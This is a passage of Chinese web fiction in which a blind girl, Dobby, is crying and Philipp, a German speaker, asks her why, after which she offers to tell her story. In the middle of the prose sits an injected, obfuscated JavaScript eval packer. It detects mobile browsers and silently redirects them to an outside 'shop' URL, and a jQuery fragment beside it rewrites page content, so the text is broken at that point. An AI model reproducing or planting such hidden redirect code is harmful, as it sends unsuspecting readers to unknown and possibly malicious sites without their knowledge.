当多贝抬起头,“望”向他的时候,菲利普的目光也自然而然地落在了她的脸上。
然后,有一个很短的瞬间,他不知道自己为什么没有移开眼睛。
她的脸上还挂着泪,眼眶和鼻子都哭红了,头发乱糟糟地翘着,被泪水沾在脸颊上,或者凌乱地团在颈窝里。这不是一个“好看”的时刻。任何一个人看到此刻的她,大概都会觉得“这个人哭得很狼狈”。
但他就是没有移开目光。
他的视线落在她眼睛上。
罩着一层水壳子的、没有焦点的、绿色的眼睛——绿得像他母亲收藏的一枚古董胸针上的橄榄石。
那对眼睛正朝着他所在的方向,好似“视线”正聚焦在他身上,但他知道她看不见他。
他有一瞬间的晃神,下意识地试图想象,这双眼睛在正常情况下应该是什么样子。大概是亮的,有光的,像阳光穿过树叶的缝隙那种感觉。
这个脱离现实的想象让他迅速回过神来,意识到自己正盯着一个陌生女孩的脸,而对方正因为哭泣和此刻的尴尬处境显得脆弱无比。他感到一阵自责。
“你…”他迟疑着开口,打破了沉默,却发现自己根本不知道接下来该说什么。问“你还好吗?”太蠢了,她显然不好。问“需要帮忙吗?”纸巾已经给了。
啊,又是这个。
多贝心里划过一丝了然,也有一丝习惯性的疲惫。大概又是好奇我的眼睛吧,就像所有第一次注意到的人一样。她熟练地撑起一个轻松又充满活力的微笑,朝着声音的方向,用刻意轻快的语气说:
“哦,您是说这个吗?”她用手指轻轻点了点自己的眼角,“是……一场意外啦!”
她准备好了接受对方或同情、或好奇、或尴尬的回应,然后礼貌结束这场偶遇。
“Nein.(不。)”
出乎意料的,这个预设的回答被简洁地否定了。
多贝嘴角那点刻意维持的弧度僵住了。
“Ich meinte…(我是说…)”菲利普几乎在话音出口的同时就想咬住舌头。他不知道自己为什么要追问,这完全越界了,好奇心在此刻显得如此不合时宜,甚至残忍。但他没能阻止自己,那句话还是滑了出来,带着一种近乎执拗的直接:
“Warum weinst du?(你为什么哭?)”
多贝彻底愣住了。她准备好解释她的眼睛,却没准备好解释她的眼泪。那层面具般的笑容缓缓从她脸上褪去,露出底下真实的、带着红肿眼眶和无措的空白。
菲利普也立刻闭上了嘴,懊悔感涌了上来。气氛骤然降至冰点,一种比刚才更甚的、近乎凝固的沉默在两人之间蔓延。
太尴尬了。问出这种问题,我真是个白痴。他想。
太尴尬了。被看到哭,还被追问原因。她想。
为什么哭?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326743|199126||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>因为今天是个该死的纪念日。
因为我看不见。
因为总是要道歉。
因为一直被怜悯。
因为身上总是摔得很疼。
因为……我只是今天,特别累,特别需要哭一场释放那些糟糕的情绪。
但这些话,她怎么能对一个陌生人说?
但也许是因为已经尴尬到了极致,反而有种破罐破摔的解脱感?也许是因为那包及时雨般的纸巾,确实在她最狼狈时递来了真实的帮助?又或者,那些在她心里积压了数月、潮湿阴冷、无法对亲友言说的情绪,实在需要一个安全的、陌生的、与她的日常生活毫无交集的宣泄口?
总之,在漫长的几秒沉默后,多贝听见自己的声音,用一种她自己都感到陌生的、近乎平静的语气响了起来:
“嗯……那是一个有点长的故事了。”她顿了顿,递出一个台阶,尽可能避免两个人都尴尬的局面,“您要听吗?”
菲利普看着她,那缕不听话的头发又翘了起来。
他本该礼貌地拒绝,说“不用了,是我冒昧”,然后转身离开,让彼此都从这尴尬中解脱。
但他听见自己的声音给出了另一个答案。平稳,带着一点他自己没意识到的、愿意停留的耐心:
“Vielleicht habe ich gerade ein wenig Zeit.(也许我恰好有点时间。)”